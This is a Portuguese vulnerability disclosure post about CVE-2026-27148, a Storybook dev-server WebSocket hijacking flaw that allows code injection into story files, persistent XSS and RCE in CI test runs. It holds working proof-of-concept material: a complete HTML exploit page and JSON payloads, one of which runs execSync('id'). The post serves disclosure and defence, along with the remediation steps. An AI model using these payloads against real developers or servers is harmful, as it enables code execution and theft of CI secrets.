Aikido Attack, nosso produto de pentest com IA, encontrou uma vulnerabilidade de sequestro de WebSocket no servidor de desenvolvimento do Storybook que pode levar a XSS persistente e execução remota de código. Se não for percebida, a payload pode acabar no controle de versão, no pipeline de CI/CD e na build de produção do Storybook. O servidor WebSocket do Storybook não possui autenticação ou controle de acesso, então, se o servidor de desenvolvimento for publicamente acessível, um invasor pode explorá-lo sem qualquer interação do usuário. Na configuração local mais comum, um desenvolvedor precisa visitar um site malicioso enquanto o Storybook está em execução.
Aviso: GHSA-mjf5-7g4m-gx5w
CVE: CVE-2026-27148
CVSS: 8.9 (Alta)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
Versões corrigidas: 7.6.23, 8.6.17, 9.1.19, 10.2.10
A vulnerabilidade
Storybook é um workshop frontend de código aberto para construir e testar componentes de UI isoladamente, fora da sua aplicação principal. Durante o desenvolvimento, o Storybook executa um servidor local que utiliza WebSockets para alimentar seus recursos de criação e edição de histórias. Em versões mais antigas, os desenvolvedores precisavam criar e editar componentes de história em seu editor de preferência e visualizar o resultado no Storybook no navegador. A partir da versão 8.1, os desenvolvedores podem editar componentes diretamente no navegador através da UI do Storybook. Essa funcionalidade de criação e edição de histórias é onde reside a vulnerabilidade.
O problema: o servidor WebSocket não possui controle de acesso algum. Não há autenticação, validação de sessão e nenhum Origin verificação de cabeçalho em conexões de entrada. Se o servidor de desenvolvimento estiver acessível, qualquer pessoa pode se conectar e começar a gravar arquivos no diretório de histórias.
Isso cria dois cenários de ataque distintos. Se o servidor de desenvolvimento do Storybook estiver exposto publicamente, qualquer atacante não autenticado na internet pode se conectar diretamente ao endpoint WebSocket e explorá-lo sem qualquer interação do usuário. Se o servidor de desenvolvimento estiver rodando localmente, o atacante precisa que o desenvolvedor visite uma página web maliciosa, que então abre uma conexão WebSocket cross-origin para ws://localhost:6006/storybook-server-channel em seu nome.
O endpoint WebSocket em /storybook-server-channel aceita dois tipos de mensagens: createNewStoryfileRequest e saveStoryRequest. Ambos os tipos gravam no diretório src/stories no sistema de arquivos.
O código vulnerável reside em dois manipuladores WebSocket:
create-new-story-channel.tsmanipulacreateNewStoryfileRequestsave-story.tsmanipula saveStoryRequest
Ambos delegam a get-new-story-file.ts que deriva basenameWithoutExtension do componentFilePath fornecido pelo usuário e o passa sem sanitização para typescript.ts, onde é interpolado diretamente no código-fonte gerado.
Ponto de injeção: get-new-story-file.ts
const base = basename(componentFilePath); //"Botão";alert(document.domain);var a='.tsx"
const extensão = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // "Botão";alert(document.domain);var a='"Sink: typescript.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here Arquivo gravado em disco:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};O ataque: da mensagem web socket à injeção de código
Para instâncias expostas publicamente, a exploração é trivial: conecte-se ao endpoint WebSocket e envie uma mensagem. Isso pode ser totalmente automatizado e escalado para escanear instâncias de desenvolvimento do Storybook expostas em toda a internet.
Para instâncias locais, o ataque requer um passo extra: O desenvolvedor visita uma página web maliciosa que abre silenciosamente uma conexão WebSocket para localhost:6006 e envia uma mensagem elaborada:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
O injetado componentFilePath escapa do contexto de string no arquivo de story gerado. O Storybook escreve um novo .stories.ts arquivo para o disco no diretório src/stories com o JavaScript do atacante incorporado.
Arquivos gravados no disco:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};O componentFilePath campo é o vetor de injeção mais direto, mas componentExportName flui para as mesmas posições do template quando componentIsDefaultExport é falso, incluindo a propriedade `component:` e a expressão `typeof` no bloco meta.
O PoC completo é apenas uma página HTML simples:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
É isso. Visite a página, e o arquivo de história injetado agora reside na máquina do desenvolvedor.

Escalação: De XSS para RCE
O impacto desta vulnerabilidade se estende além de ataques transitórios baseados em navegador devido à forma como o Storybook se integra com os fluxos de trabalho de desenvolvimento modernos.
A severidade aumenta em ambientes onde as histórias são usadas para testes automatizados. Muitas equipes utilizam "histórias portáteis" para executar testes em ambientes Node.js (por exemplo, usando Vitest com JSDOM), em vez da instância padrão do Chromium. Nessas configurações não padrão, mas comuns, o JavaScript injetado acaba em um contexto NodeJS e é executado no lado do servidor. Isso concede ao payload os mesmos privilégios do executor de testes, potencialmente permitindo:
- Exfiltração de Credenciais: Acesso a variáveis de ambiente e Secrets de CI/CD.
- Acesso ao Sistema: Acesso completo de leitura/gravação ao sistema de arquivos local e ao código-fonte.
- Pivoteamento de Rede: A capacidade de alcançar recursos de rede internos a partir do agente de build comprometido ou da máquina do desenvolvedor.
Mensagem de prova de conceito do WebSocket:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
Quando npx vitest executa, seja acionado manualmente, por uma extensão do VS Code ao salvar o arquivo, ou em um pipeline de CI/CD, a saída exibe:
RCE_PROOF: uid=501(robbe) gid=20(staff) ...Nesse ponto, o atacante tem execução de código no ambiente do desenvolvedor ou pipeline de CI, com acesso a variáveis de ambiente, credenciais, sistema de arquivos e rede.
O ângulo da cadeia de suprimentos
O principal fator de risco desta vulnerabilidade é o modelo de persistência. Isso ocorre porque o payload é gravado diretamente nos arquivos-fonte do projeto. Se passar despercebido, o payload pode ser commitado para o controle de versão. Se isso acontecer, o exploit poderia se propagar por diversos vetores:
- Distribuição Interna: Membros da equipe que puxarem a branch atualizada executarão o payload injetado localmente ao executar suas próprias instâncias do Storybook ou suítes de teste.
- Execução em Pipeline CI/CD: Ambientes automatizados de build e teste, que frequentemente são executados com permissões elevadas para acessar secrets e chaves de deploy, podem executar o código malicioso durante a fase de testes.
- Exposição da Documentação: Se o build do Storybook for publicado como um site de documentação hospedado, o payload XSS torna-se persistente para qualquer stakeholder, designer ou desenvolvedor que visualize os componentes.
Proteções do navegador
O Google Chrome está começando a implementar prompts de permissão para requisições locais de websocket, como uma proteção contra conexões WebSocket cross-origin para localhost (Veja https://chromestatus.com/feature/5197681148428288). O Firefox não. Portanto, se sua equipe tiver sequer um usuário Firefox executando o Storybook, ele será um alvo viável para o ataque cross-origin.
Para servidores de desenvolvimento expostos publicamente, nada disso importa. O atacante se conecta diretamente ao endpoint WebSocket sem passar por um navegador. Nenhuma verificação de origem, nenhum CORS, nenhuma proteção de navegador no loop.
Remediação
Atualize o Storybook para uma das versões corrigidas: 7.6.23, 8.6.17, 9.1.19, ou 10.2.10. A correção adiciona validação de origem ao servidor WebSocket. Em versões posteriores, o Storybook também adicionou sanitização aos storynames, para prevenir ataques de injeção.
Observe que, embora a funcionalidade vulnerável tenha sido introduzida na versão 8.1, patches foram retroportados para a versão 7.x como medida de precaução.
Se seus repositórios forem varridos pelo Aikido, versões vulneráveis do Storybook serão automaticamente sinalizadas e aparecerão no seu feed.
Cronograma
- 6 de fevereiro de 2026: Identificado por Aikido Attack (agente de pentest de IA)
- 6 de fevereiro de 2026: Divulgado à equipe de segurança do Storybook
- 25 de fevereiro de 2026: Corrigido no Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10
- 25 de fevereiro de 2026:GHSA-mjf5-7g4m-gx5w publicado

